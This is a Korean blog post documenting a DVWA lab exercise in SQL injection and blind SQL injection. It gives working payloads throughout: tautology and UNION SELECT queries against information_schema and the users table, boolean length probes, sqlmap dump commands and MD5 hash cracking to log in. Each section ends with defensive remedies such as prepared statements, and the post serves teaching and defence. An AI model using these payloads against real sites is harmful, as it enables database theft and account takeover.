Security/CERT

웹 모의해킹 실습(SQL Injecion & Blind SQL injection)

westcold 2025. 6. 13. 16:16

 

✅ SQL Injection 취약점의 개념

SQL Injection(구문 삽입 공격)
웹 애플리케이션이 사용자 입력값을 제대로 검증하지 않고 데이터베이스 쿼리에 그대로 포함시켜 실행하는 취약점입니다.
이로 인해 공격자는 다음과 같은 악의적인 행위를 할 수 있습니다:

  • 전체 사용자 정보 열람
  • 관리자 계정 탈취
  • 비밀번호 해시 탈취 및 복호화
  • 데이터 삭제 및 변조
  • 서버 권한 획득

SQLi는 보안 상 가장 심각한 취약점 중 하나로, OWASP Top 10에도 꾸준히 포함되고 있습니다.


SQL Injection 실습 기록 (DVWA 환경 기반)


1️⃣ 실습 개요

이번 실습은 DVWA(Damn Vulnerable Web Application)의 SQL Injection 취약점을 활용하여,
사용자 정보 탈취 및 로그인 우회까지의 전 과정을 체험하는 것을 목적으로 진행되었습니다.
보안 수준은 Low로 설정하였으며, SQLi 기본 공격 기법부터 내부 구조 분석, 계정 탈취 및 복호화까지 실습하였습니다.


2️⃣ 사용자 ID 확인 (정상 입력 확인)

DVWA의 SQL Injection 탭에서는 회원 ID를 입력하면 해당하는 사용자의 정보가 출력되는 기능이 제공됩니다.

  • 1, 2, 3, 4, 5 입력 시 → 각각의 사용자 정보 정상 출력
  • 6 이상의 ID 입력 시 → 정보 없음 또는 오류 발생

→ 이 과정을 통해 DVWA에 등록된 사용자 ID가 1~5까지라는 점을 확인할 수 있었습니다.


3️⃣ SQL 구문 오류 유도: '2 입력

 

입력값: '2
  • 결과: SQL 오류 발생
  • 원인: 작은따옴표가 닫히지 않아 SQL 문법이 깨짐

→ 이는 사용자 입력값이 쿼리에 그대로 포함되고 있음을 의미하며,
SQL Injection 취약점이 존재함을 명확하게 시사합니다.


4️⃣ WHERE 절 우회: ' OR 1=1 -- 입력

입력값: ' OR 1=1 --
  • OR 1=1은 항상 참이 되는 조건
  • --는 SQL 주석으로, 그 뒤의 쿼리(예: 닫히지 않은 ')를 무시

결과:

→ 모든 사용자(ID 1~5)의 정보가 한 번에 출력됨
→ 이는 WHERE user_id = '' OR 1=1 과 같은 쿼리가 실행되었음을 뜻함
✅ 실습 대상 페이지가 입력 필터링 없이 SQL 문에 사용자 입력을 삽입하고 있음을 명확히 확인


5️⃣ ORDER BY를 활용한 컬럼 수 확인

UNION SELECT 구문을 사용하기 위해서는 원래 SELECT 문이 반환하는 컬럼의 수를 파악해야 합니다.

입력값: 1' ORDER BY 1 -- ✅  
입력값: 1' ORDER BY 2 -- ✅  
입력값: 1' ORDER BY 3 -- ❌ (오류)

→ 오류가 발생하는 시점이 3 → 따라서 SELECT문은 2개의 컬럼을 반환함


6️⃣ 시스템 정보 조회 (UNION SELECT 사용)

컬럼 수가 2개라는 점을 이용해 다음과 같이 시스템 정보를 추출할 수 있습니다.

예시1

' UNION SELECT database(), @@hostname --
  • database(): 현재 DB 이름
  • @@hostname: DB 서버 호스트명

예시2

' UNION SELECT database(), @@version --
  • @@version: DBMS 버전 정보

→ 결과: dvwa, kali, 10.6.10-MariaDB+1+b1 등의 내부 시스템 정보 노출 성공


7️⃣ information_schema를 통한 DB 구조 파악

MySQL/MariaDB에는 INFORMATION_SCHEMA라는 메타데이터 DB가 존재합니다.
이곳에는 모든 DB의 구조(스키마, 테이블, 컬럼)가 저장되어 있으며, 이를 통해 전체 DB를 분석할 수 있습니다.

(1) 운영 중인 DB 목록 확인

' UNION SELECT schema_name, null FROM information_schema.schemata --

→ dvwa라는 DB 존재 확인

(2) 테이블 목록 확인

' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema='dvwa' --

→ users, guestbook 테이블 확인

(3) users 테이블의 컬럼 확인

' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name='users' --

→ user, password, user_id, avatar, ... 등 주요 컬럼 확인


8️⃣ 사용자 계정 정보 추출

위에서 확보한 정보를 바탕으로 users 테이블의 민감 정보를 직접 추출하였습니다.

' UNION SELECT user, password FROM users --

→ 결과:

user  password
pablo 0d107d09f5bbe40cade3de5c71e9e9b7

pablo 계정과 해시값으로 암호화된 비밀번호 확보
✅ 이 값을 따로 메모해둡니다.


9️⃣ 비밀번호 해시 복호화

📌 문제

  • 로그인 시 pablo / (해시값) 입력 시 로그인 실패
  • 이유: 비밀번호가 MD5 해시값으로 암호화되어 저장

🔍 해결 방법

  • MD5 해시값: 0d107d09f5bbe40cade3de5c71e9e9b7
  • 해당 해시값을 구글 검색으로 사이트를 찾던가 또는 md5decrypt.net 등에 입력

→ 결과: letmein이라는 평문 비밀번호 도출


🔟 로그인 시도 및 성공

  • ID: pablo
  • PW: letmein

→ DVWA 웹 페이지에서 로그인 시도 → ✅ 로그인 성공


✅ 실습 흐름 요약

1. 정상 입력 탐색 (1~5만 존재)
2. '2 → 오류 발생 → SQL Injection 취약점 탐지
3. ' OR 1=1 -- → 모든 사용자 정보 노출
4. ORDER BY로 컬럼 수 확인 (2개)
5. UNION SELECT로 시스템 정보 획득 (DB 이름, 버전, 호스트명 등)
6. information_schema 통해 DB 구조 분석
7. users 테이블에서 user/password 컬럼 값 탈취
8. password 해시 복호화 → letmein
9. 로그인 시도 → pablo / letmein으로 로그인 성공

 

실제 시나리오 사례

🧨 사례: 지역 커뮤니티 사이트 ‘우리동네’의 회원 정보 유출 사고

  1. 지역 소식을 공유하는 소규모 커뮤니티 사이트 ‘우리동네’는 회원 검색 기능을 제공합니다.
  2. 사용자는 /user?id=1과 같이 회원 번호(ID)를 입력해 해당 회원의 닉네임과 활동 정보를 조회할 수 있었습니다.
  3. 그러던 중, 한 공격자가 다음과 같은 조작된 입력값을 넣었습니다:
    /user?id=1' OR '1'='1' --
  4. 사이트는 입력값을 필터링하지 않았고, 내부 쿼리가 아래처럼 변조되어 실행되었습니다
    SELECT * FROM users WHERE id = '1' OR '1'='1' --';

  5.  그 결과, 전체 회원의 개인정보(이름, 이메일, 닉네임 등)가 한 번에 화면에 노출되었습니다.
  6. 공격자는 이를 바탕으로 UNION SELECT 구문을 이용해:
    • information_schema에서 데이터베이스 구조 파악
    • users 테이블에서 ID와 해시화된 비밀번호 추출
    • MD5 복호화 사이트에서 실제 비밀번호 획득
  7. 결국 ‘admin’ 계정으로 로그인까지 성공하게 되었고, 운영자 계정으로 커뮤니티 글 삭제, 공지사항 변경, DB 백업 다운로드 등 전체 시스템을 장악하였습니다.
  8. 이 사고는 방송통신위원회에도 보고되었고, 운영자는 과징금을 부과받고 웹사이트는 일시 폐쇄되었습니다.

해결 방안 (예방 조치)

1. Prepared Statement 사용 (가장 권장되는 방법)

      • 사용자 입력값이 SQL 문에 직접 포함되지 않도록 분리하여 쿼리 실행
       
      cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))

2. 입력값 검증 및 필터링

      • 숫자 입력에는 숫자만 허용 (^[0-9]+$)
      • ', ", --, ; 등 위험 문자 제거
      • 예상 범위 외의 입력은 거부

3. 오류 메시지 숨김 처리

      • SQL 오류 발생 시, DB 관련 메시지를 사용자에게 노출하지 않음
        (예: Unknown column 'abc' in 'field list' 등은 숨기기)

4. 데이터베이스 계정 권한 최소화

      • 웹에서 사용하는 DB 계정은 SELECT, INSERT 등 필요한 권한만 부여
      • DROP, GRANT, ALTER 등의 권한은 금지

5. WAF(웹 방화벽) 적용

    • SQLi 공격 패턴을 자동으로 탐지하고 차단함

 

 

Blind SQL Injection 개념

Blind SQL Injection
일반적인 SQL Injection처럼 쿼리를 삽입하지만, 오류 메시지나 쿼리 결과가 직접적으로 화면에 표시되지 않는 경우에 발생하는 공격 방식입니다.
즉, 웹 애플리케이션이 참/거짓 여부에 따라 응답은 다르게 하지만, 직접적으로 데이터가 노출되지 않을 때, 공격자는 이를 반응의 차이로 판단하며 정보를 추론합니다.

✔️ Blind SQLi는 보통 다음 두 방식 중 하나로 수행됩니다:

  • Boolean-based: 조건이 참일 때와 거짓일 때 웹 페이지의 응답이 다르게 나타나는 경우
  • Time-based: 조건이 참일 경우 SLEEP() 함수 등으로 서버 지연을 유도하여 응답 시간 차이로 판단

 

Blind SQL Injection 실습 기록 (DVWA 환경 기반)


1️⃣ Blind SQL Injection 개요

Blind SQL Injection은 일반적인 SQL Injection처럼 에러 메시지나 데이터가 직접적으로 출력되지 않는 환경에서, "참(True)/거짓(False)"의 결과를 기반으로 정보를 유추하는 방식의 공격입니다.
DVWA의 SQLi (Blind) 메뉴에서 이와 같은 공격이 가능하며, 본 실습에서는 이를 수동 및 자동화 방식(SQLMAP)을 병행하여 수행하였습니다.


2️⃣ 수동 Blind SQL Injection 탐지 및 원리 확인

① 정상적인 입력 값으로 존재 여부 확인

입력값: 1
결과: User ID exists in the database.

→ id=1은 데이터베이스에 존재하는 사용자임을 확인
 

입력값: 6
결과: User ID is **missing** from the database.

→ id=6은 존재하지 않음


② 조건문을 통한 논리 추론

다음과 같이 SQL 논리 조건문을 삽입하여 시스템 내부 정보를 유추할 수 있음:

' OR length(database()) = 3 --  
→ 결과: 거짓 (missing from the database)

' OR length(database()) = 4 --  
→ 결과: 참 (User ID exists)

→ 위 결과로부터 현재 데이터베이스 이름의 길이가 4글자임을 유추할 수 있음
길이를 알아냈으면 알파벳을 대입해 데이터베이스의 이름을 알아낼 수 있지만 많은 시간이 걸리기에 자동화 프로그램을(sqlmap 칼리 리눅스에 설치되어 있다) 사용하여 시간을 단축 시킬 수 있다.


③ Burp Suite를 이용한 Request 수집

위 공격을 Burp Suite를 통해 분석하면 다음과 같은 Request가 전송됨:

GET /DVWA/vulnerabilities/sqli_blind/?id=1' or length(database()) = 4 -- &Submit=Submit HTTP/1.1  
Host: localhost  
Cookie: security=low; PHPSESSID=b91170bbac8a725da9bc3a15111dc89a  

이 요청 패턴을 기반으로 SQLMAP에 활용할 수 있음


3️⃣ SQLMAP을 활용한 Blind SQL Injection 자동화 공격

① 현재 DB 이름 확인

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=b91170bbac8a725da9bc3a15111dc89a" \
--current-db

✅ 결과 → 현재 DB 이름은 dvwa


② dvwa 데이터베이스 내 테이블 목록 확인

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=b91170bbac8a725da9bc3a15111dc89a" \
-D dvwa --tables

✅ 결과 → guestbook, users 등 테이블 존재 확인


③ users 테이블의 컬럼 목록 조회

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=b91170bbac8a725da9bc3a15111dc89a" \
-D dvwa -T users --columns

✅ 결과 → 주요 컬럼: user, password, user_id, avatar


④ users 테이블의 전체 데이터 덤프

sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
--cookie="security=low; PHPSESSID=b91170bbac8a725da9bc3a15111dc89a" \
-D dvwa -T users --dump

✅ 결과 → user와 password 데이터 전체 노출
 

덤프란 쉽게 말해 데이터 싹다 꺼내보는 행위를 말한다

4️⃣ 사용자 정보 탈취 및 복호화

  • user: smithy
  • password (해시): 5f4dcc3b5aa765d61d8327deb882cf99
  • 평문 비밀번호: password

다행히 해시값과 비밀번호가 같이 데이터베이스에 입력되어 있다.


5️⃣ 로그인 시도

해당 정보를 바탕으로 DVWA 로그인 페이지에서 다음과 같이 시도:

  • ID: smithy
  • PW: password

→ 로그인 성공


🔄 전체 실습 흐름 요약

1. Blind SQL Injection을 통해 참/거짓 기반 탐색 진행
2. length(database()) = n 구문으로 DB 이름의 길이 추측
3. Burp Suite로 Request 캡처 → SQLMAP 자동화에 활용
4. SQLMAP으로 DB 이름, 테이블명, 컬럼명, 값까지 자동화로 획득
5. users 테이블에서 smithy 계정과 비밀번호 확인
6. smithy로 로그인 성공

실제 시나리오 사례

🧨 사례: 온라인 쇼핑몰 ‘굿딜’의 내부 데이터 유출 사고

  1. 쇼핑몰 ‘굿딜’은 고객의 리뷰 페이지에서 특정 회원 ID로 리뷰를 불러오는 기능이 있었습니다.
  2. 공격자는 다음과 같은 URL 요청을 시도해 봅니다:
    https://gooddeal.co.kr/review?id=1
  3. 페이지에 아무런 오류 메시지가 없지만, 1번 리뷰가 정상적으로 나옵니다.
    그런데 999번을 넣자 "리뷰가 없습니다" 라는 메시지가 나옵니다.
  4. 공격자는 이를 통해 존재 여부만으로 조건 판단이 가능함을 깨닫고, 다음과 같이 Blind SQL Injection 공격을 시도합니다:
    https://gooddeal.co.kr/review?id=1' AND LENGTH(database())=5 --
  5. 응답 메시지가 "리뷰가 없습니다"로 바뀌었다면, 조건이 거짓이라는 의미입니다.
    이렇게 응답의 미세한 차이를 반복적으로 실험하여,
    • 데이터베이스 이름의 길이를 유추하고
    • ASCII 코드로 한 글자씩 데이터베이스 이름 확인
    • 테이블 이름, 칼럼 이름, 유저 정보까지 하나씩 추출
  6. 심지어 SLEEP(3)과 같은 time-based 방식까지 활용하면, 응답 속도 차이만으로도 데이터를 알아낼 수 있습니다.
  7. 결국 공격자는 회원 테이블에서 ID와 비밀번호 해시를 추출했고, MD5 복호화를 통해 실제 관리자 계정을 획득했습니다.
    운영자는 관리자 계정이 유출된 사실조차도 오랫동안 인지하지 못했습니다.

해결 방안

1. Prepared Statement(파라미터 바인딩) 사용

  • 사용자 입력이 SQL 쿼리 내에서 문법적으로 해석되지 않도록 분리
  • Blind SQLi는 일반 SQLi와 동일한 취약점을 악용하므로 가장 근본적인 방어책

2. 서버 반응 통일화 (에러 메시지 / 응답 시간)

  • 존재 여부에 관계없이 동일한 메시지를 출력
  • 응답 시간이나 페이지 구성도 최대한 유사하게 처리하여 분석 포인트 차단

3. 입력값 화이트리스트 적용

  • 숫자 입력은 숫자만 허용 (예: 정규표현식 ^[0-9]+$)
  • 문자열 길이 제한, 특수문자 필터링

4. WAF(웹방화벽) 설정 및 로깅

  • Blind SQLi 탐지 기능이 있는 WAF 사용
  • 공격 시도로 보이는 패턴에 대해 경고 및 차단 설정
  • 의심스러운 URL 요청에 대해 관리자 경고 및 로깅 활성화

5. 보안 테스트 도구 활용

  • sqlmap 등 자동화 도구로 정기적 점검
  • 블라인드 취약점은 수동 테스트로는 탐지 어려우므로 자동화 스캐닝 필수